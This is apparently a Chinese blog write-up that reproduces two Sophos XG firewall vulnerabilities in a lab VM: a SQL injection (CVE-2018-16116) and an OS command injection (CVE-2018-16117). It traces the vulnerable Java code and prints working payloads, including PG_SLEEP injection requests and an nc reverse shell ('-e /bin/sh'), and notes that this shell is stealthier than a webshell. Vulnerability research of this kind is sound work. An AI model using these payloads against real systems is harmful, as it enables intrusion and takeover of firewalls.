复现环境
物理机:MacOS
工具:VM,Firefox,JD-GUI,Burpsuite
CVE-2018-16116
漏洞介绍
Sophos XG firewall是英国Sophos公司的一款下一代端点保护与企业级防火墙产品。Admin Portal是其中的一个管理门户。 Sophos XG firewall 17.0.8 MR-8版本中的Admin Portal的AccountStatus.jsp文件存在SQL注入漏洞。该漏洞源于基于数据库的应用缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令。
环境配置
首先是在Sophos官网下载虚拟机文件,下载前需要注册账号
下载完之后,导入VM
虚拟机默认的管理员密码是 admin
输入密码即可进入虚拟机
这里主要是配置IP地址和管理员web界面
在虚拟机内部查看虚拟机IP
虚拟机的静态IP是172.16.16网段,所以需要在VM里新建一个虚拟网卡
访问https://172.16.16.16:4444配置管理员信息
配置好之后可以登陆管理员界面
因为下载的是最新版的固件,存在漏洞的版本是16 及之前的版本, 16.5 OEM, 17.0,这里我使用17.0.8进行漏洞复现。
在管理员界面可以替换虚拟机使用的固件。
上传完成后重启即可。
漏洞分析
根据CVE报告,漏洞的位置在/webconsole/webpages/myaccount/AccountStatus.jsp文件中,这是防火墙的前端文件,所以在虚拟机中直接查找这个目录
进入虚拟机shell的方法是先选择5再选择3
我们得到的是一个root权限账户
查找文件位置
打包整个文件夹,并用nc传给物理机
tar -zcvf a.tar.gz webconsole/
nc 172.16.16.1 8888 < a.tar.gz
物理机: nc -l 8888 > a.tar.gz
如果运行第一个命令出现read-only file system报错,使用一个命令即可
mount -o remount -w /
将源码在本地解压,因为是Java的代码,所以我使用JD-GUI进行反编译。
根据漏洞的描述,漏洞点在AccountStatus.jsp,这个文件不是很大,所以比较容易分析,通过源码的审计,以及漏洞描述中说的在GET parameter username 时候存在问题,很快可以定位漏洞的位置,先是在280行
if (paramHttpServletRequest.getParameter("username") != null) {
str6 = paramHttpServletRequest.getParameter("username");
} else {
str6 = sessionBean.getUserName();
}
这里先判断username内容是不是NULL,不为NULL就调用getParameter()方法获取GET请求的参数,如果是NULL使用sessionBean.getUserName()通过session获取username。
接下来username的值被传递进入getRecordByName函数
UserBean userBean1 = (UserBean)(new UserHelper()).getRecordByName(str6, sqlReader);
接下来先讲username转换为小写再与str2拼接,调用prepareQuery函数
public EntityBeanAdapter getRecordByName(String paramString, SqlReader paramSqlReader) {
ResultSetWrapper resultSetWrapper = null;
UserBean userBean = null;
String str1 = toLower(paramString);
CyberoamLogger.debug("User Management", "toLower(" + paramString + ") = " + str1);
String str2 = " where username = lower('" + str1 + "')";
try {
str2 = prepareQuery(str2);
......
......
这个函数将上面的str2与str进行拼接,到了这个地方SQL查询语句已经拼接完毕,没有任何过滤的直接执行,这也就是出现SQL注入的原因。
public static String prepareQuery(String paramString) {
String str = "select userid,name,username, password,scheduleid,description,to_char(dob,'DD/MM/YYYY') as dob,createdby,to_char(createdate,'DD/MM/YYYY') as createdate,renewby,to_char(renewdate,'DD/MM/YYYY') as renewdate,active,emailid,usertype,authrole,groupid,webfilterid,appfilterid,accesspolicyid,ipallocation,allottedminutes,totalusedminutes,to_char(expiredate,'DD/MM/YYYY') as expiredate,bwpolicyid,maxloginallowed,datatransferpolicyid,allotteduploaddatatransfer,allotteddownloaddatatransfer,allottedtotaldatatransfer,macbinding,spamdigest,sslvpnpolicy,surfingquotapolicyid,scheduleid,applianceloginrestriction,mobileno,countrycode,clientlesspolicy from tbluser ";
if (paramString != null)
str = String.valueOf(str) + paramString;
return str;
}
这里还有一个参数需要注意就是popup,在AccountStatus.jsp 249行是关于popup的check
if (paramHttpServletRequest.getParameter("popup") != null && Integer.parseInt(paramHttpServletRequest.getParameter("popup")) == 0)
try {
String str63 = null;
int i7 = 0;
if (sessionBean != null) {
str63 = sessionBean.getUserName();
UserHelper userHelper = new UserHelper();
UserBean userBean = (UserBean)userHelper.getRecordByName(str63, sqlReader);
i7 = userBean.getUserType();
if (i7 == 7) {
jspWriter1.write("\r\n\t\t\t\t\t<script>\r\n\t\t\t\t\t\tlocation.href = \"/userportal/webpages/myaccount/login.jsp\";\r\n\t\t\t\t\t</script>\r\n\t\t\t\t\t");
try {
sqlReader.close();
} catch (Exception exception) {}
return;
}
......
......
如果popup不是NULL且为0,就进入if条件中,通过sessionBean.getUserName()获取用户名,如果
i7==7就会return,否则继续向下执行。如果我们要触发漏洞肯定是要在这里不能return的因为,如果服务器通过session获取用户名就无法使用我们传入的恶意username,通过我的实验,admin账户会触发i7==7,所以猜测admin账户的type是7,那么对于admin账户的数据包在构造的时候就需要将popup设置为1.
通过分析sophos的web架构,可以发现sophos提供了管理员登陆接口在4444接口,普通用户在443端口。之前的操作都是在4444端口,在管理员界面可以添加一个普通用户
第一步就是要正常的访问AccountStatus.jsp,首先在4444端口进行验证。
进行正常访问4444端口,使用burp抓包
随便选一个正常的流量包即可,这里我主要是要获取正常的cookie然后再构造触发漏洞的数据包
我先直接访问这个有漏洞点的jsp
显示的是500,通过分析Java源码主要是参数没有构造完全导致报错,源码中有对popup参数的判断,所以需要将popup加上,
最终payload如下:
GET /webconsole/webpages/myaccount/AccountStatus.jsp?popup=1&username=abc');select+PG_SLEEP(5)--+ HTTP/1.1
response经过5秒后返回,说明SQL注入成功
方法和上面一样,先访问443端口,登陆普通用户,再抓包,修改一个包的内容
payload:
GET /userportal/webpages/myaccount/AccountStatus.jsp?popup=0&username=abc');select+PG_SLEEP(5)--+ HTTP/1.1
or
GET /userportal/webpages/myaccount/AccountStatus.jsp?popup=1&username=abc');select+PG_SLEEP(5)--+ HTTP/1.1
这个漏洞到这里已经分析完毕,后续可以使用SQLmap进行其他的利用。
CVE-2018-16117
漏洞介绍
Sophos XG防火墙17.0.8 MR-8的管理门户中的/ webconsole / Controller中的命令注入漏洞允许远程身份验证的攻击者通过“ dbName” POST参数中的字符执行任意OS命令。
详细介绍
环境配置
这里使用上面的环境即可
漏洞分析
漏洞介绍中说明了这个漏洞出现在管理员门户的页面的/ webconsole / Controller URL,这里我主要记录下我寻找漏洞代码位置的过程。
因为这是“dbName”参数的命令注入,所以漏洞的位置一定使用了dbName的值,并且dbName我们可以控制,也即是一个可控参数,所以我先在代码里寻找哪里出现了这个字符串
两个文件出现了引用,进一步分析
首先put方法不是获取取,不需要看
最后发现431行的代码是从dbname给变量赋值
再寻找哪里使用str1
进入getLogsData,str1对应着paramString3,查看使用了paramString3的函数,其中getFilePosandStartThread函数内存在命令执行
这里直接将参数进行拼接然后执行,存在漏洞
漏洞说明中说的出现问题的URL /webconsole / Controller是一个路由,那么要找到这个路由对应的JSP文件,就需要看web的路由配置,在/WEB-INF/web.xml 查看路由信息
URL /Controller 对应的servlet name也为Controller
servlet name 为Controller对应的文件为CyberoamCommonServlet
结合前面的关键词分析的结果,在CyberoamCommonServlet.jsp中经历了多次函数调用,最终调用了getLogViewerLogs 触发了漏洞
通过对源码的审计,最后完整的执行流程为
流程图如下:
根据源码的分析,这个漏洞点在管理员页面的日志模块里,访问日志模块,使用burpsuite抓包
查找dbname关键字
因为这个漏洞没有输出的回显,所以我使用构造ping命令来检测,漏洞的触发
aaa;ping 172.16.16.1
使用URL转码,填充进dbname字段内,发送
漏洞成功触发
因为这里可以执行任意命令,所以getshell我最开始的思路是上传一个JSP木马,然后我使用了JSP一句话木马,上传后发现只要访问这个JSP就会跳转到登陆界面,这里我认为是路由的问题,解决这个问题可以上传一个新的路由配置文件上去或者找找有没有目录可以直接访问。
但是我认为这种方法不好,因为对网站源码的改变容易被管理员发现不是一个隐蔽的方法,然后我想起来这个服务器里有NC命令,就使用NC做一个反弹shell
URL编码下面的命令,填充发送
aaa;nc 172.16.16.1 7777 -e /bin/sh
成功getshell
发表评论
您还未登录,请先登录。
登录